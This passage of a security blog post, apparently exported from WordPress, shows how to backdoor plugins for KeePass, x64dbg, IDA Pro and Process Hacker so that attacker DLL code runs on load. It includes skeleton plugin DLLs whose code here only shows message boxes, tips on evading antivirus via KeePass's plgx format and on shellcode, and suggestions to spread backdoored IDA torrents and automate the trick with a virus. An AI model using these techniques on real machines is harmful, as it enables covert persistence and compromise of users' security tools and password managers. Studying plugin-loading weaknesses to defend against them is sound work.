bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\tIPluginHost host = QualityColumnExt.Host;\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(host == <span style=\"color: #008800; font-weight: bold\">null<\/span>) { Debug.Assert(<span style=\"color: #008800; font-weight: bold\">false<\/span>); <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span>.Empty; }\r\n\r\n\t\t\t\tPwDatabase pd = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t\t\t{\r\n\t\t\t\t\tpd = host.MainWindow.DocumentManager.SafeFindContainerOf(pe);\r\n\t\t\t\t}\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span>(Exception) { Debug.Assert(<span style=\"color: #008800; font-weight: bold\">false<\/span>); }\r\n\r\n\t\t\t\tSprContext ctx = <span style=\"color: #008800; font-weight: bold\">new<\/span> SprContext(pe, pd, (SprCompileFlags.Deref |\r\n\t\t\t\t\tSprCompileFlags.TextTransforms), <span style=\"color: #008800; font-weight: bold\">false<\/span>, <span style=\"color: #008800; font-weight: bold\">false<\/span>);\r\n\t\t\t\tstrPw = SprEngine.Compile(strPw, ctx);\r\n\t\t\t}\r\n\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">uint<\/span> uEst;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">lock<\/span>(m_oCacheSync)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(!m_dCache.TryGetValue(strPw, <span style=\"color: #008800; font-weight: bold\">out<\/span> uEst)) uEst = <span style=\"color: #333399; font-weight: bold\">uint<\/span>.MaxValue;\r\n\t\t\t}\r\n\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(uEst == <span style=\"color: #333399; font-weight: bold\">uint<\/span>.MaxValue)\r\n\t\t\t{\r\n\t\t\t\tuEst = QualityEstimation.EstimatePasswordBits(strPw.ToCharArray());\r\n\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">lock<\/span>(m_oCacheSync)\r\n\t\t\t\t{\r\n\t\t\t\t\tm_dCache[strPw] = uEst;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> (uEst.ToString() + QcpBitsSuffix);\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>We have options here on how we compile our code. Keepass will take either a class library (.NET dll file), or its own special propriatary format called &#8216;plgx&#8217;. The beauty of this is that we can better hide ourselves from the AV. Thanks Keepass!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin-1024x574.png\" alt=\"\" width=\"640\" height=\"359\" class=\"alignnone size-large wp-image-1554\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin-1024x574.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin-300x168.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin-768x430.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin.png 1927w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p>For reasons beyond my comprehension, 32 bit shellcode does not work in .NET on my machine. Why? Who fuckin knows?<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_bug_Capture.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_bug_Capture-1024x624.png\" alt=\"\" width=\"640\" height=\"390\" class=\"alignnone size-large wp-image-1555\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_bug_Capture-1024x624.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_bug_Capture-300x183.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_bug_Capture-768x468.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_bug_Capture.png 1485w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a>The solution is to use 64 bit shellcode despite the program being 32 bit. Whatever.<\/p>\n<p>Now, to compile our code, we basically just run <i>KeePass.exe &#8211;plgx-create<\/i> at the command line. This opens a dialog box for browsing to the folder containing your C# project files.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin4.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin4-1024x604.png\" alt=\"\" width=\"640\" height=\"378\" class=\"alignnone size-large wp-image-1556\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin4-1024x604.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin4-300x177.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin4-768x453.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass_plugin4.png 1211w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br \/>\nJust place your plgx file into your keepass folder (doesn&#8217;t even have to be the plugins folder lol) and your plugin will run its code along side keepass. Viola!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass1.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass1.png\" alt=\"\" width=\"969\" height=\"605\" class=\"alignnone size-full wp-image-1557\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass1.png 969w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass1-300x187.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass1-768x480.png 768w\" sizes=\"(max-width: 969px) 100vw, 969px\" \/><\/a><br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass2.png\" alt=\"\" width=\"729\" height=\"286\" class=\"alignnone size-full wp-image-1558\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass2.png 729w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/keepass2-300x118.png 300w\" sizes=\"(max-width: 729px) 100vw, 729px\" \/><\/a><\/p>\n<p>Noice! We&#8217;re really sticking it to the man now! I might as well backdoor my debugger while I&#8217;m at it. <a href=\"https:\/\/x64dbg.com\/#start\" rel=\"noopener\" target=\"_blank\">X64dbg<\/a> is my go-to debugger. If you&#8217;re still using olly or immunity, get with the times!<\/p>\n<p>First we load the thing in CFF Explorer (no ida this time)<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin.png\" alt=\"\" width=\"989\" height=\"891\" class=\"alignnone size-full wp-image-1563\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin.png 989w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin-300x270.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin-768x692.png 768w\" sizes=\"(max-width: 989px) 100vw, 989px\" \/><\/a><\/p>\n<p>3 exports for our skeleton dll program:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #557799\">#include &lt;windows.h&gt;<\/span>\r\nBOOL APIENTRY <span style=\"color: #0066BB; font-weight: bold\">DllMain<\/span>(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)\r\n{\r\n    <span style=\"color: #008800; font-weight: bold\">switch<\/span> (ul_reason_for_call)\r\n    {\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_PROCESS_ATTACH:\r\n\t\t{\r\n\t\t\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;hello x64dbg, i am a backdoor.&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;wek&quot;<\/span>,MB_OK);\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">break<\/span>;\r\n\t\t}\r\n\t<span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_THREAD_ATTACH:\r\n\t<span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_THREAD_DETACH:\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_PROCESS_DETACH:\r\n        <span style=\"color: #008800; font-weight: bold\">break<\/span>;\r\n    }\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span> TRUE;\r\n}\r\n<span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #0066BB; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #333399; font-weight: bold\">void<\/span> pluginit(<span style=\"color: #333399; font-weight: bold\">void<\/span>)\r\n{\r\n\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;i am also a backdoor&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;joe&quot;<\/span>,MB_OK);\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n}\r\n<span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #0066BB; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #333399; font-weight: bold\">void<\/span> plugsetup(<span style=\"color: #333399; font-weight: bold\">void<\/span>)\r\n{\r\n\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;i am also a backdoor&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;joe&quot;<\/span>,MB_OK);\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n}\r\n<span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #0066BB; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #333399; font-weight: bold\">void<\/span> plugstop(<span style=\"color: #333399; font-weight: bold\">void<\/span>)\r\n{\r\n\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;i am also a backdoor&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;joe&quot;<\/span>,MB_OK);\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n}\r\n<\/pre>\n<\/div>\n<p>For x64dbg to load our plugin, we need only rename our dll file to end in &#8216;.dp64&#8217; and load it into the plugins folder.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin4.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin4.png\" alt=\"\" width=\"986\" height=\"842\" class=\"alignnone size-full wp-image-1564\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin4.png 986w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin4-300x256.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin4-768x656.png 768w\" sizes=\"(max-width: 986px) 100vw, 986px\" \/><\/a><\/p>\n<p>Now we just load our debugger and voila!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin3-1024x551.png\" alt=\"\" width=\"640\" height=\"344\" class=\"alignnone size-large wp-image-1565\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin3-1024x551.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin3-300x161.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin3-768x413.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/x64dbg_plugin3.png 1915w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p>Imagine a piece of malware that detects x64dbg is running and then unpacks itself and copies a piece of itself to the plugins folder and then crashes the debugger? Then the next time its run, BAM, owned. So many ideas!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1516335813435.gif\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1516335813435.gif\" alt=\"\" width=\"230\" height=\"173\" class=\"alignnone size-full wp-image-1566\" \/><\/a><\/p>\n<p>I&#8217;ve saved the best for last. Let&#8217;s backdoor IDA Pro.<\/p>\n<p>I&#8217;ve chosen the plugin &#8216;COM Helper&#8217; because it seems to be automatically loaded with IDA.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida3.png\" alt=\"\" width=\"710\" height=\"368\" class=\"alignnone size-full wp-image-1561\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida3.png 710w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida3-300x155.png 300w\" sizes=\"(max-width: 710px) 100vw, 710px\" \/><\/a><br \/>\nHere we see them in the plugins folder.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida2.png\" alt=\"\" width=\"986\" height=\"842\" class=\"alignnone size-full wp-image-1559\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida2.png 986w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida2-300x256.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida2-768x656.png 768w\" sizes=\"(max-width: 986px) 100vw, 986px\" \/><\/a><br \/>\nOpening one of them up in IDA (ironic no?) reveals how there&#8217;s only 1 exported entry, &#8216;PLUGIN&#8217; in all caps. This makes a skeleton program easy.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #557799\">#include &lt;windows.h&gt;<\/span>\r\nBOOL APIENTRY <span style=\"color: #0066BB; font-weight: bold\">DllMain<\/span>(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)\r\n{\r\n    <span style=\"color: #008800; font-weight: bold\">switch<\/span> (ul_reason_for_call)\r\n    {\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_PROCESS_ATTACH:\r\n\t\t{\r\n\t\t\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;Hi mr IDA&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;YO&quot;<\/span>,MB_OK);\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">break<\/span>;\r\n\t\t}\r\n\t<span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_THREAD_ATTACH:\r\n\t<span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_THREAD_DETACH:\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_PROCESS_DETACH:\r\n        <span style=\"color: #008800; font-weight: bold\">break<\/span>;\r\n    }\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span> TRUE;\r\n}\r\n<span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #0066BB; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #333399; font-weight: bold\">void<\/span> PLUGIN(<span style=\"color: #333399; font-weight: bold\">void<\/span>)\r\n{\r\n\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;Hello IDA. I am a backdoor!&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;joe&quot;<\/span>,MB_OK);\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n}\r\n<\/pre>\n<\/div>\n<p>We compile our dll, name it &#8216;comhelper.dll&#8217; and &#8216;comhelper64.dll&#8217; (want to ensure its run on both versions of IDA), drop in in and viola! Loads via DLL_PROCESS_ATTACH like always.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida-1024x551.png\" alt=\"\" width=\"640\" height=\"344\" class=\"alignnone size-large wp-image-1560\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida-1024x551.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida-300x161.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida-768x413.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/backdoor_ida.png 1919w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br \/>\nMaybe some evil hacker will now steal my idea and start distributing torrents of IDA with backdoored plugins? Nah, no one would do that!<\/p>\n<p>VLC, Foobar, DropBox, Ifranview, mumble, Cheat Engine, and so much more can still be backdoored on my machine, but who has time for that shit? If you want to maintain persistence on a machine, try backdooring a plugin on something the user uses daily. Be sneaky.<\/p>\n<p>In conclusion, we need only add our code to the main dll entry point and our code is run. In fact, it seems that way for most plugins. Sure a few have some prerequisites like certain exported function names and such, but by and large, it seems like you can run code from the &#8216;DLL_PROCESS_ATTACH&#8217; portion of DllMain. I&#8217;ve seen it everywhere lately. Ever used Process Hacker? <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker-899x1024.png\" alt=\"\" width=\"640\" height=\"729\" class=\"alignnone size-large wp-image-1534\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker-899x1024.png 899w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker-263x300.png 263w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker-768x875.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker.png 903w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br \/>\nIf I drop any old 64 bit dll into the &#8216;plugins&#8217; folder of Process Hacker, it seems to run my code without being &#8216;enabled&#8217; or whatever. Here&#8217;s the same 64 bit dll from our IDA pro backdoor thingy:<br \/>\n <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker2-1024x667.png\" alt=\"\" width=\"640\" height=\"417\" class=\"alignnone size-large wp-image-1535\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker2-1024x667.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker2-300x195.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker2-768x500.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/process-hacker2.png 1029w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p>Failing that, all you have have to do it seems is copy the exported function names (its always names, never ordinals) to meet that of the other plugins. The rest falls into place. I feel like you could automate this process with a virus or something. <\/p>\n<p>All source and project files are <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/blog.7z\">available here<\/a>. Password is infected. <\/p>\n<p>Thank you for sitting through my blog post. I have much to do still. For example, I have to write a 64 bit variant of my metasploit module, I have to re-write my crypter because its being detected as &#8216;wannacry&#8217;, and I want to dive into the subject of IOT devices and webcams. Oh and that TLS callbacks tidbit. We&#8217;ll see what I tackle first.<\/p>\n<p>Until then, happy hacking!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/5bgYK9Y.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/5bgYK9Y.jpg\" alt=\"\" width=\"426\" height=\"480\" class=\"alignnone size-full wp-image-1567\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/5bgYK9Y.jpg 426w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/5bgYK9Y-266x300.jpg 266w\" sizes=\"(max-width: 426px) 100vw, 426px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I had this thought speaking with fellow hacker friendos at 2600. Alternative ways to persist. Why not backdoor some popular programs? Sure why not? Today let&#8217;s scope in on backdooring some plugins for popular software. I will be covering a bunch of other programs, mainly stuff already on my computer. First plugin to backdoor will [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6,7],"tags":[110],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1527"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1527"}],"version-history":[{"count":9,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1527\/revisions"}],"predecessor-version":[{"id":1656,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1527\/revisions\/1656"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1527"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1527"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1527"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}